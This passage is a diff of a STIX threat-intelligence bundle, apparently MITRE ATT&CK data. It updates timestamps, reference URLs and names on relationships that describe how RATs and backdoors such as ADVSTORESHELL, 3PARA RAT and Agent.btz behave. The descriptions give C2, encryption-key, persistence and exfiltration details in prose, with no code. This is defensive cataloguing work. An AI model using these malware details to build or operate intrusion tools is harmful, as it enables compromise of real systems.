             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
@@ -33367,7 +39669,7 @@
             "id": "relationship--15aa00d1-11c0-4be1-a900-ede5e1376110",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
@@ -33380,7 +39682,7 @@
             "id": "relationship--3f327394-55be-4dac-8e79-93c49be0426a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT will sleep until after a date/time value loaded from a .dat file has passed. This allows the RAT to remain dormant until a set date, which could allow a means to regain access if other parts of the actors' toolset are removed from a victim.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
@@ -33401,7 +39703,7 @@
             "id": "relationship--2d659138-90e5-4b67-8956-02120d99506f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT uses HTTP for command and control.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
@@ -33422,7 +39724,7 @@
             "id": "relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS instead if the DES decoding fails.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
@@ -33443,7 +39745,7 @@
             "id": "relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT has a command to retrieve metadata for files on disk as well as a command to list the current working directory.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
@@ -33464,7 +39766,7 @@
             "id": "relationship--d43315b0-d708-4197-b3ed-0a0b1199e434",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT has a command to set certain attributes such as creation/modification timestamps on files.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
@@ -33485,7 +39787,7 @@
             "id": "relationship--0e630f6b-8662-4ffe-b666-709e17aad69f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
@@ -33506,7 +39808,7 @@
             "id": "relationship--453914ae-8d76-4796-b507-dafc33adf005",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT uses HTTP for command and control.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
@@ -33527,7 +39829,7 @@
             "id": "relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT obfuscates C2 communication using a 1-byte XOR with the key 0xBE.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
@@ -33548,7 +39850,7 @@
             "id": "relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT has the capability to create a remote shell.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
@@ -33569,7 +39871,7 @@
             "id": "relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT has the capability to obtain a listing of running processes (including loaded modules).",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
@@ -33590,7 +39892,7 @@
             "id": "relationship--26968975-5f01-4b4b-9cdc-ef3b76710304",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT has the capability to obtain file and directory listings.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
@@ -33611,7 +39913,7 @@
             "id": "relationship--27375058-3002-4fc2-a964-a1e336a10a2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT sends an OS version identifier in its beacons.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
@@ -33632,7 +39934,7 @@
             "id": "relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Most of the strings in ADVSTORESHELL are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33644,7 +39946,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "Bitdefender APT28 Dec 2015",
@@ -33657,7 +39959,7 @@
             "id": "relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33669,7 +39971,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ]
         },
@@ -33678,7 +39980,7 @@
             "id": "relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL connects to port 80 of a C2 server using Wininet API.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33690,7 +39992,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ]
         },
@@ -33699,7 +40001,7 @@
             "id": "relationship--284ffb1b-ad42-468e-9897-94c25024f0d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL achieves persistence by adding itself to the <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33711,7 +40013,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "ESET Sednit Part 2",
@@ -33729,7 +40031,7 @@
             "id": "relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can perform keylogging.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33754,7 +40056,7 @@
             "id": "relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can list files and directories.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33779,7 +40081,7 @@
             "id": "relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can delete files and directories.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33800,7 +40102,7 @@
             "id": "relationship--9f496c45-eac5-464f-858b-ef481f2f37ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can enumerate registry keys.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33825,7 +40127,7 @@
             "id": "relationship--66819f02-7a22-4f21-8e4f-df24969e5567",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can list running processes.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33846,7 +40148,7 @@
             "id": "relationship--6f448f20-0349-4132-80ec-d46e94d52426",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can create a remote shell and run a given command.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33871,7 +40173,7 @@
             "id": "relationship--a0f1273a-e422-4801-a911-e7cb223ebea2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can list connected devices.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33892,7 +40194,7 @@
             "id": "relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can run Systeminfo to gather information about the victim.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33917,7 +40219,7 @@
             "id": "relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL stores output from command execution in a .dat file in the %TEMP% directory.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33938,7 +40240,7 @@
             "id": "relationship--c0e78590-0266-43e0-8fb5-efd95556c20c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel\u2013Ziv\u2013Welch (LZW) algorithm.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33959,7 +40261,7 @@
             "id": "relationship--2a8f0313-4059-42b9-b487-6c8f860588c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -33980,7 +40282,7 @@
             "id": "relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -34001,7 +40303,7 @@
             "id": "relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL exfiltrates data over the same channel used for C2.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -34022,7 +40324,7 @@
             "id": "relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -34043,7 +40345,7 @@
             "id": "relationship--12904c83-67ad-430f-96ae-20e9081c2b5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -34063,7 +40365,7 @@
             "id": "relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL is capable of setting and deleting Registry values.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -34083,7 +40385,7 @@
             "id": "relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL is capable of starting a process using CreateProcess.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -34098,32 +40400,12 @@
                 }
             ]
         },
-        {
-            "type": "relationship",
-            "id": "relationship--5b3ca84d-d1dd-4ec7-b00d-abe1ba205362",
-            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "relationship_type": "uses",
-            "description": "A variant of ADVSTORESHELL attempts communication to the C2 server over HTTP on port 443.",
-            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
-            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
-            "object_marking_refs": [
-                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
-            ],
-            "external_references": [
-                {
-                    "source_name": "Bitdefender APT28 Dec 2015",
-                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017."
-                }
-            ]
-        },
         {
             "type": "relationship",
             "id": "relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A variant of ADVSTORESHELL encrypts some C2 with 3DES and RSA.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -34138,12 +40420,32 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A variant of ADVSTORESHELL attempts communication to the C2 server over HTTP on port 443.",
+            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Bitdefender APT28 Dec 2015",
+                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017."
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--660d09ce-8722-42b3-8503-911dff37bf22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ASPXSpy is a Web shell.Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).",
             "source_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
@@ -34164,7 +40466,7 @@
             "id": "relationship--7f3c015e-d95d-4d35-a583-236134464554",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
@@ -34185,7 +40487,7 @@
             "id": "relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
@@ -34197,7 +40499,7 @@
                 {
                     "source_name": "Securelist Agent.btz",
                     "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.",
-                    "url": "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/"
+                    "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
                 }
             ]
         },
@@ -34206,7 +40508,7 @@
             "id": "relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz attempts to download an encrypted binary from a specified domain.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
@@ -34227,7 +40529,7 @@
             "id": "relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz saves system information into an XML file that is then XOR-encoded.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
@@ -34248,7 +40550,7 @@
             "id": "relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz obtains the victim username and saves it to a file.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
@@ -34269,7 +40571,7 @@
             "id": "relationship--dc187ed1-3987-4575-b1af-dc150e4329f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz collects the network adapter\u2019s IP and MAC address as well as IP addresses of the network adapter\u2019s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
@@ -34290,7 +40592,7 @@
             "id": "relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Arp can be used to display ARP configuration information on the host.",
             "source_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
@@ -34304,9 +40606,9 @@
             "id": "relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "AutoIt is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.",
+            "description": "AutoIt backdoor is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "object_marking_refs": [
@@ -34325,9 +40627,9 @@
             "id": "relationship--5cd8b8a9-fd11-4405-8369-b12398b94def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "AutoIt attempts to escalate privileges by bypassing User Access Control.",
+            "description": "AutoIt backdoor attempts to escalate privileges by bypassing User Access Control.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
             "object_marking_refs": [
@@ -34346,9 +40648,9 @@
             "id": "relationship--801f139f-1361-4d79-965e-078787f8ec36",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "AutoIt has sent a C2 response that was base64-encoded.",
+            "description": "AutoIt backdoor has sent a C2 response that was base64-encoded.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
             "object_marking_refs": [
@@ -34367,9 +40669,9 @@
             "id": "relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
